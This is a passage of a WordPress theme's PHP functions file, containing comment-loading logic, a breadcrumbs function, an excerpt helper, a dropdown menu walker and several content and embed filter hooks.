$comment_author = $commenter['comment_author']; // Escaped by sanitize_comment_cookies()
/**
* The email address of the current comment author escaped for use in attributes.
*/
$comment_author_email = $commenter['comment_author_email']; // Escaped by sanitize_comment_cookies()
/**
* The url of the current comment author escaped for use in attributes.
*/
$comment_author_url = esc_url($commenter['comment_author_url']);
/** @todo Use API instead of SELECTs. */
if ( $user_ID) {
$comments = $wpdb->get_results($wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND (comment_approved = '1' OR ( user_id = %d AND comment_approved = '0' ) ) ORDER BY comment_date_gmt", $post->ID, $user_ID));
} else if ( empty($comment_author) ) {
$comments = get_comments( array('post_id' => $post->ID, 'status' => 'approve', 'order' => 'ASC') );
} else {
$comments = $wpdb->get_results($wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND ( comment_approved = '1' OR ( comment_author = %s AND comment_author_email = %s AND comment_approved = '0' ) ) ORDER BY comment_date_gmt", $post->ID, wp_specialchars_decode($comment_author,ENT_QUOTES), $comment_author_email));
}
// keep $comments for legacy's sake
/**
* Filter the comments array.
*
* @since 2.1.0
*
* @param array $comments The array of comments supplied to the comments template.
* @param int $post->ID The post ID.
*/
$wp_query->comments = apply_filters( 'comments_array', $comments, $post->ID );
$comments = &$wp_query->comments;
$wp_query->comment_count = count($wp_query->comments);
update_comment_cache($wp_query->comments);
if ( $separate_comments ) {
$wp_query->comments_by_type = separate_comments($comments);
$comments_by_type = &$wp_query->comments_by_type;
}
$overridden_cpage = false;
if ( '' == get_query_var('cpage') && get_option('page_comments') ) {
set_query_var( 'cpage', 'newest' == get_option('default_comments_page') ? get_comment_pages_count() : 1 );
$overridden_cpage = true;
}
if ( !defined('COMMENTS_TEMPLATE') )
define('COMMENTS_TEMPLATE', true);
$theme_template = STYLESHEETPATH . $file;
/**
* Filter the path to the theme template file used for the comments template.
*
* @since 1.5.1
*
* @param string $theme_template The path to the theme template file.
*/
$include = apply_filters( 'comments_template', $theme_template );
if ( file_exists( $include ) )
require( $include );
elseif ( file_exists( TEMPLATEPATH . $file ) )
require( TEMPLATEPATH . $file );
else // Backward compat code will be removed in a future release
require( ABSPATH . WPINC . '/theme-compat/comments.php');
}
function dimox_breadcrumbs() {
// credit http://dimox.net/wordpress-breadcrumbs-without-a-plugin/
$delimiter = '»';
$home = __('Home', 'tsframework'); // text for the 'Home' link
$before = '<span class="current">'; // tag before the current crumb
$after = '</span>'; // tag after the current crumb
echo '<div id="crumbs">';
global $post;
$homeLink = home_url();
echo '<a href="' . $homeLink . '">' . $home . '</a> ' . $delimiter . ' ';
if ( is_category() ) {
global $wp_query;
$cat_obj = $wp_query->get_queried_object();
$thisCat = $cat_obj->term_id;
$thisCat = get_category($thisCat);
$parentCat = get_category($thisCat->parent);
if ($thisCat->parent != 0) echo(get_category_parents($parentCat, TRUE, ' ' . $delimiter . ' '));
$singlecattitle = single_cat_title('', false);
printf(__('%1$s Posts in category "%2$s" %3$s', "tsframework"), $before, $singlecattitle, $after);
} elseif ( is_day() ) {
echo '<a href="' . get_year_link(get_the_time('Y')) . '">' . get_the_time('Y') . '</a> ' . $delimiter . ' ';
echo '<a href="' . get_month_link(get_the_time('Y'),get_the_time('m')) . '">' . get_the_time('F') . '</a> ' . $delimiter . ' ';
echo $before . get_the_time('d') . $after;
} elseif ( is_month() ) {
echo '<a href="' . get_year_link(get_the_time('Y')) . '">' . get_the_time('Y') . '</a> ' . $delimiter . ' ';
echo $before . get_the_time('F') . $after;
} elseif ( is_year() ) {
echo $before . get_the_time('Y') . $after;
} elseif ( is_single() && !is_attachment() ) {
if ( get_post_type() != 'post' ) {
$post_type = get_post_type_object(get_post_type());
$slug = $post_type->rewrite;
echo '<a href="' . $homeLink . '/' . $slug['slug'] . '/">' . $post_type->labels->singular_name . '</a> ' . $delimiter . ' ';
echo $before . get_the_title() . $after;
} else {
$cat = get_the_category(); $cat = $cat[0];
echo get_category_parents($cat, TRUE, ' ' . $delimiter . ' ');
echo $before . get_the_title() . $after;
}
} elseif ( !is_single() && !is_page() && get_post_type() != 'post' && !is_404() ) {
$post_type = get_post_type_object(get_post_type());
echo $before . $post_type->labels->singular_name . $after;
} elseif ( is_attachment() ) {
$parent = get_post($post->post_parent);
$cat = get_the_category($parent->ID); $cat = $cat[0];
echo get_category_parents($cat, TRUE, ' ' . $delimiter . ' ');
echo '<a href="' . get_permalink($parent) . '">' . $parent->post_title . '</a> ' . $delimiter . ' ';
echo $before . get_the_title() . $after;
} elseif ( is_page() && !$post->post_parent ) {
echo $before . get_the_title() . $after;
} elseif ( is_page() && $post->post_parent ) {
$parent_id = $post->post_parent;
$breadcrumbs = array();
while ($parent_id) {
$page = get_page($parent_id);
$breadcrumbs[] = '<a href="' . get_permalink($page->ID) . '">' . get_the_title($page->ID) . '</a>';
$parent_id = $page->post_parent;
}
$breadcrumbs = array_reverse($breadcrumbs);
foreach ($breadcrumbs as $crumb) echo $crumb . ' ' . $delimiter . ' ';
echo $before . get_the_title() . $after;
} elseif ( is_search() ) {
$searchquery = get_search_query();
printf(__('%1$s Search results for "%2$s" %3$s', "tsframework"), $before, $searchquery, $after);
} elseif ( is_tag() ) {
$singletagtitle = single_tag_title('', false);
printf(__('%1$s Posts tagged "%2$s" %3$s', "tsframework"), $before, $singletagtitle, $after);
} elseif ( is_author() ) {
global $author;
$userdata = get_userdata($author);
$displayname = $userdata->display_name;
printf(__('%1$s Articles posted by "%2$s"%3$s', "tsframework"), $before, $displayname, $after);
} elseif ( is_404() ) {
printf(__('%1$s Error 404 %2$s', "tsframework"), $before, $after);
}
if ( get_query_var('paged') ) {
if ( is_category() || is_day() || is_month() || is_year() || is_search() || is_tag() || is_author() ) echo ' (';
echo __('Page', "tsframework") . ' ' . get_query_var('paged');
if ( is_category() || is_day() || is_month() || is_year() || is_search() || is_tag() || is_author() ) echo ')';
}
echo '</div>';
} // end dimox_breadcrumbs()
function teaser($limit) {
global $post;
if (!empty( $post->post_excerpt )){
$teaser = $post->post_excerpt;
$teaser = strip_shortcodes( $teaser );
$teaser = "<p>".$teaser."</p>";
} else {
$teaser = $post->post_content;
$teaser = strip_tags($teaser);
$teaser = strip_shortcodes( $teaser );
$teaser = substr($teaser, 0, $limit);
$teaser = explode(' ', $teaser);
array_pop($teaser);
$teaser = "<p>".implode(" ",$teaser)."...</p>";
}
return $teaser;
}
class Walker_Nav_Menu_Dropdown extends Walker_Nav_Menu{
var $to_depth = -1;
function start_lvl(&$output, $depth = 0, $args = array()){
$output .= '</option>';
}
function end_lvl(&$output, $depth = 0, $args = array()){
$indent = str_repeat("\t", $depth); // don't output children closing tag
}
function start_el(&$output, $item, $depth = 0, $args = array(), $id = 0){
$indent = ( $depth ) ? str_repeat( " ", $depth * 4 ) : '';
$class_names = $value = '';
$classes = empty( $item->classes ) ? array() : (array) $item->classes;
$classes[] = 'menu-item-' . $item->ID;
$class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item, $args ) );
$class_names = ' class="' . esc_attr( $class_names ) . '"';
$id = apply_filters( 'nav_menu_item_id', 'menu-item-'. $item->ID, $item, $args );
$id = strlen( $id ) ? ' id="' . esc_attr( $id ) . '"' : '';
$value = ' value="'. $item->url .'"';
$output .= '<option'.$id.$value.$class_names.'>';
$item_output = $args->before;
$item_output .= $args->link_before . apply_filters( 'the_title', $item->title, $item->ID ) . $args->link_after;
$output .= $indent.$item_output;
}
function end_el(&$output, $object, $depth = 0, $args = array()){
if(substr($output, -9) != '</option>')
$output .= "</option>"; // replace closing </li> with the option tag
}
}
function the_content_unfiltered(){
$content = get_the_content();
$content = str_replace(']]>', ']]>', $content);
$content = apply_filters( 'the_content_unfiltered', $content );
echo $content;
}
add_filter('the_content_unfiltered', 'do_shortcode');
add_filter('the_content_unfiltered', array( $wp_embed, 'run_shortcode' ), 8 );
add_filter('the_content_unfiltered', array( $wp_embed, 'autoembed'), 8 );
add_filter('widget_text', 'do_shortcode');
add_filter('widget_text', array( $wp_embed, 'run_shortcode' ), 8 );
add_filter('widget_text', array( $wp_embed, 'autoembed'), 8 );
function tsf_oembed_wrap($html, $url, $attr, $post_ID) {
$result = "<div class=\"tsfoembed\">".$html."</div>";
return $result;
}
add_filter('embed_oembed_html', 'tsf_oembed_wrap', 10, 4);
?>